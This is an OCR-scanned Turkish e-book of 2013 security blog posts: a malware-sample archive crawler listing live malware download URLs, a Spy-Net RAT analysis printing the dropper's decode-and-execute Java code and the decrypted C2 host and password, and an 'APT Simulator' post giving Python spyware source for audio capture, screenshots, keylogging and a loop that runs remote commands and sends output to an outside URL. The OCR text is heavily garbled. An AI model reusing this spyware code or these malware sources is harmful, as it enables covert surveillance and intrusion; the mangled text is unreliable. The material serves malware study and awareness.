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Merhabalar,

2009 yiinda "Bilgi glictlir ve paylasidikca artar” mofosuyla olugiurdugum siber giiveniik blogumda (hips://www.merisarica.com) , bilgi glivenkiji farkindabdini arirma adina cok sayda teknik yazya yer vermeye calighm. Yilar icinde
Tiirkiye'nin dért bir yanindan skddm olumiu geri dénigler sonucunda, yazdanmi yilar baznda e-kiap olarak derlemeye ve meraklian e paylasmaya karar verdim.

Emek, zaman ve kaynak ayrrarak yapsdm arasirmalar sonucunda yazdijim bu yazlann, siber glivenik alaninda kendini gelizirmek izteyenier icin umanm faydal clur.
Yeni yazlarla gériismek disdiyle...
Saygianmia,

Mert SARICA
Siber Glvenik Uzmam
hips:/fwww.merisarica.com
hips:/fwiter.com/mersarica

Zararh Yazilim Arsivi

Source: https://www.mertsarica.com/zararli-yazilim-arsivi-yazisi/
By M.S on December 2nd, 2013

e

Zararli yazilim analizi ile ilgili son zamanlarda ¢ok sayida e-posta aliyorum ve bu e-postalari génderenlerin ¢gogunun nereden ve nasil
baslamayaliyim sorularina yanit aramaya ¢alistigini gériiyorum. Zaman i¢inde bu e-postalara yanit vere vere aslinda ¢cagri merkezi robotu
gibi ayni seyleri tekrarladigimi farkettim, su kitaplari okuyun, su programlama dillerini 6grenin ve bol bol pratik yapin. Fakat is pratik
yapmaya gelince analiz igin zararli yazilim bulmak kimi zaman pek kolay olmuyor. Ornegin VirusTotal iizerinden aradigimz bir zararl
yazilim 6rnegine erismek istediginizde oncelikle sizin glivenlik firmasinda ¢aligmaniz veya antiviriis iireticisinde ¢alismaniz veya bir
devlet yetkilisi olmaniz ve ardindan sizden bu 6rnege erismek i¢in belli bir iicret 6demeniz bekleniyor kisaca zaman zaman ¢ikmaza
girebiliyorsunuz. Tabii virusshare.com gibi siteler yok da degil ancak her defasinda koca koca torrent dosyalart arasinda igne aramak,
indirmek kimi zaman miimkiin olamayabiliyor.

31 Agustos 2010 tarihinde, zararl yazilim tespiti yapan ve raporlayan siteleri dolagan ve bunlardan sadece Tiirkiye'de olanlari tweetleyen,
Zararli URL Duyuru Istemcisi adinda ufak bir ara¢ hazirlamistim. Bu ara¢ zaman iginde daha fazla site gezen ve hacklenmis siteleri de
tweetleyen bir ara¢ haline biiriindii. Bu arag ilk baslarda windows sistemimde ¢alisiyor ve ben ne zaman sistemi agsam, siteleri gezerek
tweetlemeye basliyordu fakat gectigimiz aylarda iki adet Raspberry Pi alarak bunlardan bir tanesini sadece bu is i¢in 7/24 kullanmaya
basladim.

Hem si1zma testi i¢in hem de zararli yazilim analizi i¢in pratik yapmanin ne kadar 6nemli oldugunu bilen biri olarak Temmuz ay1 gibi
bu istemciyi biraz daha gelistirerek, tespit edilen zararli yazilimlari, adresi, tarihi ve md5 hash bilgisi ile birlikte diske kayit edecek hale
getirdim. 7 Temmuz 2013 tarihinden bu yana bu istemci, 200 mb civarinda yaklasik 233 tane zararh yazilim (.exe) indirdi. Kaspersky
Internet Suite ile bu dosyalar tarattiimda bunlardan 80 tanesinin truva ati (trojan), 31 tanesinin arka kap1 (backdoor) oldugunu gérdiim
ve pratik yapmak i¢in istemcinin basarili bir sekilde iglevini yerine getirdigini teyit edebilmis oldum.

Raspberry X | % Raspbe L L)
‘root@raspberrypi:/mert/malwares# 1s

01.03.2013 03.04.2013 05.05.2013 06.10.2013 09.04.2013 12.09.2013 14.08.2013 17.05.2013 20.03.2013 22.05.2013 24.07.2013 27.05.2013 29.04.2013
01.06.2013 03.07.2013 05.06.2013 06.11.2013 09.07.2013 12.10.2013 14.09.2013 17.07.2013 20.05.2013 22.07.2013 24.08.2013 27.07.2013 29.06.2013
01.07.2013 03.09.2013 05.07.2013 07.04.2013 09.09.2013 12.11.2013 14.11.2013 17.08.2013 20.07.2013 22.08.2013 24.09.2013 27.08.2013 29.08.2013
01.09.2013 03.10.2013 05.09.2013 07.05.2013 09.10.2013 13.05.2013 15.05.2013 17.09.2013 20.09.2013 22.09.2013 25.05.2013 28.02.2013 29.09.2013
01.10.2013 04.03.2013 05.10.2013 07.07.2013 10.07.2013 13.07.2013 15.07.2013 18.07.2013 20.11.2013 23.04.2013 25.07.2013 28.03.2013 30.06.2013
01.11.2013 04.04.2013 05.11.2013 07.09.2013 10.09.2013 13.08.2013 15.08.2013 18.08.2013 21.03.2013 23.05.2013 25.08.2013 28.04.2013 30.07.2013
02.03.2013 04.06.2013 06.04.2013 07.10.2013 10.10.2013 13.09.2013 15.09.2013 18.09.2013 21.05.2013 23.07.2013 25.09.2013 28.05.2013 30.08.2013
02.07.2013 04.07.2013 06.05.2013 08.04.2013 11.07.2013 13.10.2013 15.11.2013 19.05.2013 21.07.2013 23.08.2013 26.05.2013 28.06.2013 30.09.2013
02.09.2013 04.09.2013 06.06.2013 08.07.2013 11.09.2013 14.03.2013 16.05.2013 19.08.2013 21.08.2013 23.09.2013 26.07.2013 28.07.2013 30.10.2013
02.10.2013 04.10.2013 06.07.2013 08.09.2013 11.10.2013 14.05.2013 16.07.2013 19.09.2013 21.09.2013 24.04.2013 26.08.2013 28.08.2013 31.05.2013
03.03.2013 05.04.2013 06.09.2013 08.10.2013 12.07.2013 14.07.2013 16.09.2013 19.11.2013 22.03.2013 24.05.2013 27.02.2013 29.03.2013 31.08.2013

root@raspberrypi:/mert/malwares#

Pratik yapmanin yanisira bir antiviriis yazilimi, giivenlik ag gecidi (security gateway) veya ag iizerinden zararli yazilim tespit eden
bir {irlinii degerlendirirken bile 6rnek zararli yazilimlara ihtiyag duydugumuzu da g6z oniinde bulundurarak bu istemciyi biraz daha
gelistirerek bunu herkesin faydalanabilecegi bir yapiya doniistiirdiim.


https://www.mertsarica.com/zararli-yazilim-arsivi-yazisi/
https://www.mertsarica.com/zararli-yazilim-arsivi-yazisi/
http://www.virusshare.com
http://www.twitter.com/hack4career
http://www.mertsarica.com/zararli-siteler-artik-cebinizde/

E # Raspberry x | % Raspberry (1) | @ Raspberry (2)

Malware Downloader [http://www.mertsarica.com]

Crawling malware samples

[Malicious site] - http://izmirsocialmedia.com/Crx/flashplayer.exe - 12.11.2013

[Malicious site] - http://atolyed.com/scripts/haters.exe - 14.11.2013

pDownloaded Malware] - http://atolyed.com/scripts/haters.exe - 876b04815ee4a24d1d92e7c2e34a1d3f - 14.11.2013
Malicious site] - http://sonucak.com/Crx/dosya.exe - 14.,11.2013

pownloaded Malware] - http://sonucak.com/Crx/dosya. exe - 9eabdbObca56dfd305ed1967d36bcof7 - 14.11.2013

Malicious site] - http://sonucak.com/Crx/flashplayer.exe - 14.11.2013

pDownloaded Malware] - http://sonucak. com/Crx/flashplayer.exe - 9eabdbObca56dfd305ed1967d36bcof? - 14.11.2013
Malicious site] - http://atolyed.com/scripts/haters.exe - 15.11.2013

pDownloaded Malware] - http://atolyed.com/scripts/haters.exe - 876b04815ee4a24d1d92e7c2e34a1d3f - 15.11.2013
Malicious site] - http://geninternationalavgenericskaners.ru/iexplore.exe - 19,11.2013

pownloaded Malware] - http:// en1nternat10na1avgener1cskaners ru/iexplore. exe - 69036ad1347b9d7de88c3b42e37aa5c6 - 19.11.2013
Malicious site] - http://www. Eaber1get1r com/driverbackup.exe - 19.11.2013

Downloaded Malware] - httE //wenwi. haberigetir. com/dr1verbackuE exe - 315b7delf72774dbl208a2eaades52df3 - 19.11.2013
Malicious site] - http://kayrafim.com/wp-content/uploads/winhost.exe - 19.11.2013

Malicious site] - http://www.haberigetir.com/driverbackup.exe - 20.11.2013

pDownloaded Malware] - httE://www.ha erigetir.com/driverbackuE.exe - 315b7delf72774db1208a2eaade52df3 - 20.11.2013
Malicious site] - http://kayrafim.com/wp-content/uploads/winhost.exe - 20.11.2013

Malicious site] - http://geninternationalavgenericskaners.ru/iexplore.exe - 20.11.2013

[Downloaded mMalware] - http://geninternationalavgenericskaners.ru/iexplore.exe - 69036ad1347b9d7de88c3b42e37aa5c6 -~ 20.11.2013
€10aded samples to http://www.mertsarica.com/zararliyazilimlar/11.2013.zip

Sleeping for 23 hours

Yukaridaki resimden de goriildiigii iizere gelistirdigim istemci, zararli yazilimlart 12 saatte bir indirmekte ve ardindan indirdigi dosyalar1
sifreli olarak (sifre: infected) zipleyerek, 6rnegin 2013 yilinin Kasim ay1 i¢in 11.2013.zip dosyast ad1 altinda http://www.mertsarica.com/
zararliyazilimlar/ klasoriine kopyalamaktadir. Aralik ayi itibariyle bu aya ait olan 6rnek zararli yazilimlar http://www.mertsarica.com/
zararliyazilimlar/12.2013.zip olarak erigilebilir olacaktir.

Kisaca hergiin giincellenen sifreli (sifre: infected) zararli yazilim arsivine erigmek igin format: http://www.mertsarica.com/
zararliyazilimlar/ay.yil.zip

Yeri gelmisken Siber Giivenlik Enstitiisii'niin uzun zamandan beri {izerinde ¢alistigi VirusTotal ve Malwr karisimi olan Viriis Mii ?
adindaki hem statik hem de dinamik analiz yapabilen, yerli kum havuzu (sandbox) hizmetini, ticretsiz olarak yakinda bizlerin kullanimina
sunacagini da buradan paylasayim. Bu hizmet kullanima sunulur sunulmaz, ben de istemciyi indirdigi zararli yazilimi Viriis Mii?'ye
gonderip, tirettigi raporun baglanti adresini de arsive ekleyecek sekilde giincelleyecegim.

V M |viriis mii?

Virtis Mii?, siipheli dosyalarin zararli icerik barindinp barindirmadigini belirlemek
amaciyla, TUBITAK BILGEM SGE tarafindan gelistirilmis bir coklu anti-viriis
tarama sistemidir.

Anasayfa

Dosyay Seg

Maksimum dosya boyutu 32MB

Ara Yikle & Tara

22013 - TUBITAK BILGEM SIBER GUVENLIK ENSTITU 51

Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Not: Kasim ay1 arsivine buradan erisebilirsiniz.

Spy-Net RAT Analizi

Source: https://www.mertsarica.com/spy-net-rat-analizi/
By M.S on November 1st, 2013

e

FatMal, Hesperbot, Zeus derken neredeyse 2013 yilin1 geride birakiyoruz. Son yayimlanan tehdit raporlarina baktigimizda zararli yazilim
salgilarinda Tiirk kullanicilarinin eskiye kiyasla daha sik hedef alindigini1 gériiyoruz. Zararli yazilim analizi iizerine yan dal yapmaya
¢alisan bir sizma testi uzmani olarak, son yillarda artan siber saldirilara bir de bu salginlar eklendiginde, son kullanicilarin, kurumlarin



http://www.mertsarica.com/zararliyazilimlar/12.2013.zip
http://www.mertsarica.com/zararliyazilimlar/12.2013.zip
https://www.virustotal.com/
https://malwr.com/
http://www.mertsarica.com/zararliyazilimlar/11.2013.zip
https://www.mertsarica.com/spy-net-rat-analizi/
https://www.mertsarica.com/spy-net-rat-analizi/
http://www.mertsarica.com/seytan-ayrintida-gizlidir/
http://www.eset.com/us/resources/white-papers/Hesperbot_Whitepaper.pdf

gecmis yillara kiyasla giivenlige, uzman personele daha ¢ok dnem vermeleri gerektigini sdyleyebilirim. Ornegin yillar énce sizma
testini 11. gorev olarak goren ve 10 isi ayn1 anda gotiirmeye ¢alisan bir uzmana yiikleyenlerin, bugiin sadece sizma testi yaptirmak
icin 3-4 kisilik ekipler olusturduklarini gorebiliyoruz. Artan zararli yazilim salginlar: ve APT tehditleri ile zaman i¢inde zararl yazilim
analizi becerisine sahip uzmanlara da ayni sekilde talebin artacagini tahmin ediyorum dolayisiyla kendinizi yarina hazirlamak i¢in zararlt
analizi konusunda bol bol pratik yapmanizi tavsiye edebilirim. Pratik yapmak i¢in benim gibi sagdan, soldan elde ettiginiz 6rnek zararli
yazilimlari inceleyebilirsiniz.

Gegtigimiz giinlerde yine bir arkadasim, kendisine gelen bir sahte e-postay1 benimle paylasti. 2012 yilindan bu yana gonderilen JAR
uzantili sahte KVK, Yurti¢i Kargo e-postalarina son olarak sahte Turkcell e-postasi eklendi. Daha 6nce inceledigim benzer 6rneklerde,
art niyetli kisiler Vodafone 3G modem iizerinden zararli yazilim bulasan sistemler ile iletisime gegiyorlardi. Zararli yazilimlarda gecen
Tiirkce fonksiyon isimleri de gelistiricilerin yabanci olmadiklarini ortaya koyuyordu. Aradan uzun bir zaman gegtikten sonra génderilen
son drnege gdz atmaya ve bu konuda sizleri bilgilendirmeye karar verdim.

Sahte e-postanin ekinde Sanal POS Kontor Odeme Islemleri.jar isimli bir dosya yer altyordu.

From: info@turkcell.com.ir

To:

Subject: Turkcell Dagim Merkezi (TOM
Date: Sat, 26 Oct 2013 12:17:40 +0300
Turkcell Dagitim Merkezi (TOM

] Sanal POS Kontor Ddeme'lglemleri.jar
490K Download

JAR uzantil dosyay1 actigimda icinden BASE64 ile encode edilmis 777.exe ve POS Kontor islemleri Odeme_Listesi.xIs dosyalari ile
birlestirici.class ve x/reverse.class dosyalar1 ¢ikt1.

& Sanal POS Kontor Odeme islemleri |:||E”g|

File Edit Wew Favorites Tools Help .:;!'

_) k @ ¥ L$ /:] Search li. Folders v

address |2 C:\Docurnents and Settings) Administrator|Desktop)Sanal POS Kontor Odeme Islemleri bt | Go
= Mame = Size | Type Date Modified Date Created

File and Folder Tasks R B META-INE File Falder 27.10,2013 11:05 27.10,2013 11:05
File Fold: 27.10.2013 11:13 27.10,2013 11:05

1) Make a niew fFolder D e _0 .er
) Fl777.exe 472KE  Application 25.10,2013 21:26 27.10,2013 11:05
] C\ﬂSh = flter e |E5] bilestirict.class 3KE CLASS Flle 13.08.2012 13:19 27.10,2013 11:05
— i Lﬂdll.dll 1KE Application Extension  25,10,2013 21:26 27.10,2013 11:05

id Share this folder . .

POS Kaonkdr Islemleri Odeme_Listesi xls 13KE LS File 25.10.2013 21:26 27.10.2013 11:05

Other Places

@ Desktop

u1:_:'| My Documents
| Shared Documents
g My Computer

ig My Metwark Places

Details

birlestirici.class dosyasim kaynak koduna gevirip analiz ettisimde 777.exe ve POS Kontor islemleri Odeme Listesi.xls dosyalarini
BASE64 ile decode edip calistirdigini gordiim.
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BufferedReader BF = new BufferedReader{new InputStreamiReader(getClass() getResourceAsStream{reverse cevir{“iid Id)))), ‘.‘
String arch;
File tmp, L -]
;ml, (arch = BF readLine()) |= null && larchisEmpty(), System out printin{tmp getAbsolutePath())) )
String conf]] = arch split{"#”), 8
System out printin{conf(0] tm)), || &
System out printinfconf[1]); Q
tmp = File createTempFila(™ili*, conf{0] substring{cont{0] indexCf{" ")),
BufferedOutputStream archivo = new BufferedOutput (new FileOutputStreamitmp)); o
BufferedinputStream entrada = new BufferedinputStreamy{getClass() getResourceAsStream{conf{0])), e
BufferedReader br = new BufferedReader{new InputStreamReader{entrada)). ¢
g bu = new Stringl 0 o
String tm, =
while{{tm = br readLine(}) = null) a
bu append(tm), -
byte byDes]] = Basefd decode(bu toString()).
archivo wiite{byDes),
archivo close(),
iffconf[ 1] equalsignoreCase("avet"))
Runtime getRuntime() sxec{new String]) {
reverse cevir“axe dmc”), "ic", tmp getAbsolutePath()
B
}
}
catch{iOException ex)
; System out printin{ex getMessage()),
public staic void main{Stning args(l)
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H Hex Worlashop - [Decodediasefd.oxn]
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Zarars1z excel dosyasi bir kenara, 777.exe dosyasin1t BASE64 ile decode ettikten sonra (DecodedBase64.exe) Immunity Debugger hata
ayiklama araci (debugger) ile analiz etmeye basladim. Paketlenmis olan bu dosyay1 adim adim analiz ettikten sonra Visual Basic ile
yazilmis baska bir yazilimi hafizada a¢tigini (unpack) gordiim. Statik analiz i¢in OEP (original entry point) {izerinde programi hafizadan
diske CHimpREC arac1 ile DecodedBase64- .exe ad1 altinda kayit (dump) ettim. Ardindan bu yazilim: Malwr (cuckoo sandbox) sitesine
yiikledigimde analizin bagarisizlikla sonuglandigint gordiim.

= Antivirus scan for b535 712846112 Ta36e 30111431 6daae at UTC - WirusTotal - Windows internet xplorer
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https://malwr.com/analysis/YmIxZGRiMDM3MGNmNDFmNDhiN2NhMWFkZDFiNGQ3MGI/

4 Immunity Debugger - Decodediiasedd.
| Bl Wew Debug Bugns [meib Oppons Window Help Jobs

—.:h_E«KDIIH‘i,E“'J'I lemtwhcecPkbzr .

Pauzed

fnalys ing DecodedB: 11 heuristical procedures. 4 calls to known Functions

Attach ko an Active Process

|DerodedBases4 exe (DDODOFES) ~|

Imported Functions Found

#- user3z,dil FThunk: 00001000 NbFunc:1 {decimal: 1) valid: YES Durmp
#|- kernel3z2 . dll FThunk: 00001005 MbFunc: 1 {decimal: 1) valid: YES
- msvbyvms0, dll FThunk: 00001010 MbFunc: 84 (decimal:133) valid:YES IAT AutoSearch

Get Imports

Shiow Invalid
Fix Durnp
Log
5 Clear Imports
Current imporks:
3 (decimal:3) walid modules Clear Lag
8C {decimal: 140} imported functions
0 {decimal:0) unresolved pointers Options

#** New section added successfully, RVA:000EEODD SIZE:00001000
Image Impork Descriptor siz:
Ci\Documents and Settin

About

e

-
‘ ¢ s Exit
IAT Infos needed Mew Import Infos
OFF Rva:  S=tER | rarpya IAT Size: Section Size:
00001045 | oooo1000 00000238 D00003FF




H Hex Workshop - [DecodedBaseéd-_exe]

% DecodedBa

" B [0 restances of ‘strings’ found in Decod A-_jexs y

x % [ rmtances of ‘strngs foud i Gecodedbasees- AR oaa)
Address %/ Length 8, Length %, -
OO000CA & ” et

Data inspector [{ ] Svucture Viewsr | TS Compare | i, Checksum | Fina ¢ ) Output | B

Find Al Complets Cff st OODOO00E value: 23117 STH bytes ovR

Ardindan bu yazilimin da (DecodedBase64- .exe), UPX ile derlenmis baska bir yazilimi hafizaya agtigini gérdiim ve bunu hafizadan,
diske 001A7000.exe ad1 altinda kayit edip, UPX ile agtim (unpack).

< Immunity Debugger - Decodediases4 - exe - [CPU - main thread, medule DecodedH]
€] e Yew [ebug Puors [malb Otk dow Help  Jobs

BTE Mxr i MYHUd= | emtfwhec Pk bz .

Pauzed




H Hex Workshop - [_001A7000.exe]

B [z rstances of 'stings found in_00147000.exe n x

Address %/ Length [, Length %,

" GdData Inupecior |{} Structure Viewsr T [ Compare | M, Checksum | B8 Find [ 4 Bookmarks Output I

Fird A Complets Off st DO00000C vakue! 23117 06112 bytes VR

> C:AWINDOWSAsystem32\cmd.exe

IC = \DOCUME™1~ADMINI “1~Desktopsantivm>upx —d _BA1A7000.exe

317888 <- 386112 96 .38x win32/pe _BA1A7A08 . exe
linpacked 1 file.

C:\DOCUME~1~ADMINI “1~Desktop~antivm>_

Statik analiz ile yazilim iizerindeki dizilerden bunun Spy-Net RAT olabilecegini diigiindiim. Spy-Net RAT'i genel olarak analiz ettigimde,
istemcinin baglanacagi sunucu adresi, sifre, sistem tizerinde ¢alisirken kullanacagi dosya adi gibi ¢esitli bilgileri, olusturulurken
(server.exe olusturma), 0xBC ile XOR 'layarak ####@#### dizileri arasina kaydettigini tespit ettim. Ardindan Python ile bu parametreleri
tespit edip, ¢cozebilrn (XOR), Spy-Net Config Decrypter ad1 altinda ufak bir arag hazirladim. Bu araci, Spy-Net istemcisi (001 A7000.exe
(klasik server.exe)) iizerinde galistirdigimda bana, baglanacagi ip adresinden (microsoftupdatedns.redirectme.net: 115), sifresine, sistem
iizerinde kendini gizlemek i¢in kullandig1 dosya adina (ctfmon.exe) kadar tiim bilgileri verdi. IP adresini (81.6.76.156) kontrol ettigim
de ise yine Vodafone IP bloguna ait oldugunu gordiim.



http://www.mertsarica.com/codes/spynet-decrypter.py

o eample. the value (eF()

- (=X

R DA (10101010 in binary] is (54 ] 74

2 Dpersnd r — 3

61 AL eE TR 16 Bk Ursigreed Short RS |—-| F 4

= Bybe Ovcering: [Litle Endian e g, Irtel] = Cancel i 74

E 4

6E ‘ B e

E Vakue: [B el

[ 4 £
Decinal ' Hew L B S iun e
ek O (REREBANRE SURABENRE FHREBENTE FHOHOENON
2 23 2 F 23 2 RESHGRERE REREBRERE BRRUGHRRE BURSGHERY
* Enise Flo FERHOTERE FAREORARE VAREOHERE BRAROERER
FRREBRERE SHRABENRE FNREBENEE SHONBENON
2 29790 2 g . 23 23 23 30 23 23 2 2 2 23 REFEORERE RURUORERE DHRSCHNRE BEREDEERY
Al 3 m FREHOEREN RAREBRERT ELLl
23 2 1 23 23 SEMRE BERISEERS : T

1 4 40 23 23 23 23 #ROFERR RERAORERRCDT . HRERDRRER .
2 ) k HRAHE
e 23 DF 2 2 23 #RE BRREGENRS. . NI T fEREPEY
2 2 2 23 2 . ARREDENEY T FEREDRERE . |
4 L ERBNBEREY . . NBRRBNERE
B seveles |0 svezes
3| [pffset: 55031 [0:000006F7] 104 stances of 327 found in_DO1ATO00. exe n ©
~ Address %  Length [, Length %,
v »
J mpare M Checksum tha|~.t‘<.,-|~ arks
Offsat: DO0ODEFT7 Vahse: 8995 317888 bytes OVR MOD

WINDOWS\system32\cmd.exe

Bpy—HNet v2.6 Config Decrypter [http:/swuw.mertsarica.com]

[#] Spy—HNet Server: microsoftupdatedns.redirectme.net:115
[#] Identification: marmara

[#] Password: lasatsa

[#*] Parameters:

TRUE

c = swindowsscryptosuite™

icftmon .exe

K6737DQ86-2356—-HB38-EX25-M17T28DD1830>

ftp.server.com
.~logss
ftp_user

A T]]+1

21

30




81.6.76.156 domaininin (sitesinin) whois bilgileri:

This is the RIPE Database guery service.
The objects are in RPSL format.

The RIPE Database is subject to Terms and Conditions.

%
%
%
%
% S5ee http://www.ripe.net/db/support/db-terms-conditions.pdf

% Hote: this output has been filtered.

= To receive output for a database update, use the "-B" flag.

% Information related to "81.6.64.0 — 81.6.95.255"

inetnum: 81.6.64.0 - 81.6.95.253

netname: Vodafone-Turkey-Customer-IP-Pools
descr: Vodafone Turkey GPRS address pool
country: TR

admin-c: VI1T12-RIFE

tech-c: VI1T12-RIFE

status: ASSIGNED PR

mnt-by: RTNET-MNT

mnt-lower: RTHET-MNT

mnt-routes: RTHNET-MNT

source: RIPE # Filtered

person: VCDAFCHE TURKEEY

address: Vodafone Telekomunikasyon &A.5.
address: Vodafone Plaza Buyukdere Cad. No:251
address: 34398 Maslak, Istanbul

address: TUREEY

phone: +3890 212 3670000

fax-no: +90 212 3670010

nic-hdl: VI1T712-RIPE

abuse-mailbox: abuse-trévodafone.com

remarks: Vodafone Turkey IP Management Team
source: RIPE # Filtered

mnt-by: RTNET-MNT

% Information related to '81.6.64.0/19A515897"'

route: 81.6.64.0/19

descr: Vodafone Turkey 3G Pool
origin: A515897

mnt-by: RTNET-MNT

source: RIPE # Filtered

Sira bunun gergekten Spy-Net RAT olup olmadigini teyit etmeye geldiginde, sanal makineme 115. baglanti noktasini dinleyen Spy-
Net v2.6 sunucusu kurup, hosts dosyasina 127.0.0.1 microsoftupdatedns.redirectme.net satirini ekledim. Son olarak 001A7000.exe
dosyasin galistirdigimda ise Spy-Net arabirimi tizerinden baglantinin basartyla gergeklestigini gérdiim ve bu sayede bunun Spy-Net
zararli yazilimi oldugunu teyit etmis oldum.

 Spy-Net 2.6
SERVER OLUSTLR  AYARLAR  HAKKINDA

ULKE KURBIAN ... | AN /LAN COMPUTER / USER CAM
Bl rurkey ( marm.. 127004427004 MERT-6756C49361/8d... < H.,

ULKE  KULLANDIG LISAN
B turkey £ Turkish "Turkish®

BILGI
}?
9
a
é
-
(e
@

< : >

OMNLIME SAYISL: 1 ACIK OLAN PORTLAR: (115}

Umarim herkes i¢in faydali bir analiz yazist olmustur. Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Giincelleme: Art niyetli kisiler, 29.10.2013 tarihi itibariyle "ADSL fatura Son 6deme tarihi 29/10/2013 olan 23,00 TL tutarindaki giincel
faturaniz" baglikli sahte e-posta gonderiyorlar. Bu e-postada yer alan baglanti adresi (link) ziyaret edildigi takdirde www.lotusgrill.com.tr/
tt.net.jar adresinden yukarida analiz etti§im benzer bir zararli JAR dosyasini indiriliyor ve ardindan microsoftupdatedns.redirectme.net
adresine 112. baglant1 noktasindan baglantyor.
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Saym, TTNET ABONESI

29/10/2013 ol

E-FATURA (ELEKTRONIK FATURA)
KULLANIMINDA DIKKAT EDILECEK HUSUSLAR

2 adimda APT

Source: https://www.mertsarica.com/2-adimda-apt/
By M.S on October 1st, 2013

=

Gegtigimiz senelerde Stuxnet, Duqu, Flame vb. casus/zararli yazilimlar ile ilgili olarak haber bombardimanina tutulan ¢ogu kimse
icin APT (advanced persistent threat), arkasinda bir devletin oldugu, kapali kapilar ardinda iizerinde onlarca belki de yiizlerce kisinin
dev biitcelerle c¢alistigi, niikleer reaktdre sahip olmadiginiz siirece pek fazla kaygilanmanizi gerektirmeyen siber saldirt projeleri
oldugu diistiniiliir. Bu yanlis diisiince neticesinde kurumlar tarafindan bir APT tehdidine maruz kalma olasilig1 oldukga diigiik olarak
degerlendirilmektedir. Halbuki APT'nin temel amacinin uzun siireli ve gizli bir sekilde hedef sistem {izerinden ses, goriintii, tus kayit
bilgileri ile hassas verileri calmak oldugu gdz ardi edilir. Ben de bu yazi ile kurumlar tarafindan goz ardi edilen APT tehdidine, sizma
testlerinde sik¢a kullanilan Metasploit ve Meterpreter't kullanmadan, kisa siirede gelistirdigim, tam fonksiyonel olmayan (niyeti bozuk
olanlar biraz kod yazmak zorunda kalacaklar :) ) APT Simulator araci ile dikkat cekmeye calistim.

APT'yi olusturan en 6nemli iki bilesenden biri hedef sistemi istismar edecek istismar kodu, digeri ise sisteme indirilecek ve galistirilacak
olan casus/zararli yazilimdir.

Hedef sistemin istismar edilerek casus/zararli yazilimin hedef sisteme indirilme ve ¢aligtiritlma kism1 giiniimiizde hacking forumlarindan
licretsiz olarak temin edilebilen istismar kitleri ve sosyal mithendislik saldiris1 sayesinde bir tik ile gerceklestirilebilmektedir. Istismar
kitleri ile hedef sistemde yiiklii ve giincel olmayan Adobe PDF Reader, Java, Ofis yazilimlari, internet tarayicilar vb. 3. parti yazilimlar
istismar edilmekte ve sistem ele gegirilerek iizerinde istenilen casus/zararli yazilimlar ¢aligtirilabilmektedir. (Gliniimiizde imza tabanli
giivenlik teknolojilerinin (ips, ids, antiviriis vs.) bu tehditlere karsi koruma saglamakta yetersiz oldugunun tekrar altin1 ¢izmekte fayda
olabilir)

Casus/zararli yazilim olusturma kismi ise programlama dehasi olmayan kisiler tarafindan rahatlikla gergeklestirilebilir. Yazima konu
olan ve casusluk faaliyeti gerceklestirecek olan APT Simulator araci, modiiler yapisi sayesinde Python ile kisa siirede rahatlikla
gelistirilebilir. Bunun i¢in gelistiricinin Python v2.7.5 siirlimiinii (python-2.7.5.msi), ekran goriintiisii almak i¢in VideoCapture modiiliinii
(VideoCapture-0.9.5.win32-py2.7.exe), tus kaydi i¢in pyHook modiiliinii (pyHook-1.5.1.win32-py2.7.exe), ses kaydi igin ise pyAudio
modiiliinii (PyAudio-0.2.7.win32-py2.7.exe) kurmus olmasi yeterlidir. Modiiller kurulduktan sonra gelistirilecek olan APT aracinin
catist 4 ana fonksiyondan olusabilir;

Ses kaydi gergeklestiren fonksiyon:
PyAudio modiilii sayesinde hedef sistem iizerinden 5 saniyeligine ses kayd1 yapilir ve apt.wav dosyasina yazilir.

def record_audio():

CHUNK = 1024
FORMAT = pyaudi o. pal nt 16
CHANNELS = 2
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http://en.wikipedia.org/wiki/Stuxnet
http://en.wikipedia.org/wiki/Duqu
http://en.wikipedia.org/wiki/Flame_(malware)
http://en.wikipedia.org/wiki/Advanced_persistent_threat
http://www.metasploit.com/
http://dev.metasploit.com/documents/meterpreter.pdf
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RATE = 44100
RECORD_SECONDS = 5
WAVE_OUTPUT_FI LENAME = "apt . wav"

p = pyaudi o. PyAudi o()

stream = p. open(f or mat =FORVAT,
channel s=CHANNELS,
r at e=RATE,
i nput =Tr ue,
frames_per _buf f er =CHUNK)

if console:
print "* Recording audio..."

frames = []

for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
data = stream r ead( CHUNK)
franmes. append( dat a)

if consol e:
print "* done\n"

stream st op_stream()
stream cl ose()
p.term nate()

= wave. open( WAVE_QUTPUT_FI LENAME, 'wb')
. set nchannel s( CHANNELS)
. set sampwi dt h( p. get _sanpl e_si ze( FORMVAT) )
. set franer at e( RATE)
.writefranes(b''.join(franes))
.cl ose()

S 55558

Ekran goriintiisti alan fonksiyon:
VideoCapture modiilii sayesinde hedef sistem iizerinde ekran goriintiisii alinarak, apt.jpg ad1 altinda dosya sistemine kayit edilir.

def take_screenshot():
if consol e:
print "* Taking screenshot..."
cam = Devi ce()
cam saveSnapshot (' apt.j pg')
if consol e:
print "* done\n"

Tus kayd: yapan fonksiyon:
PyHook modiilii sayesinde klavyede basilan tuslar, aracin ¢alistigi klasdrde keylogs.txt dosyasina kayit edilir.

def keyl ogger():
if console:
print "* Loggi ng key events... (press enter to escape)"

def OnKeyboar dEvent (event):
keys = ""
full _path = os.path.real path(__file_ )
path, file = os.path.split(full_path)
path = path + "\keyl ogs.txt"
keyfile = open(path, "a")
key = chr(event. Ascii)
if event.Ascii == 13:
key = "\n"
hook. UnhookKeyboar d()
i f consol e:
print "* done\n"
mai n()

keys = keys + key
keyfile.wite(keys)
keyfile.close()

hook = pyHook. HookManager ()
hook. KeyDown = OnKeyboar dEvent
hook. HookKeyboar d()

pyt honcom PunpMessages()



Komuta kontrol merkezinden aldigi komutu sistem iizerinde ¢aligtirip komuta kontrol merkezine geri gonderen fonksiyon:

take order fonksiyonu, http://www.mertsarica.com/apt simulator/apt.php adresine baglanarak hangi islemi gerceklestirecegi (ses kaydi,
ekran goriintiisii alma, tus kaydi yapma, sistem tizerinde komut ¢alistirma) bilgisini alir.

process_order fonksiyonu, sistem iizerinde ¢aligtirmasi gereken komut bilgisini (6rnek: hostname) aldiktan sonra sistem iizerinde
caligtirir ve http://www.mertsarica.com/apt_simulator/apt.php dosyasina cmd parametresi ile génderir.

def process_order (cnd):
if console:
print "* Running received comand: ", cnd
p = subprocess. Popen(cnd, stdout=subprocess. Pl PE)
result = p.communi cate()[0]
if console:
print "* Command output:", result
# print "* done."
url = "http://ww. nmertsarica. conf apt_si nul at or/ apt. php?cnd=" + result
if console:
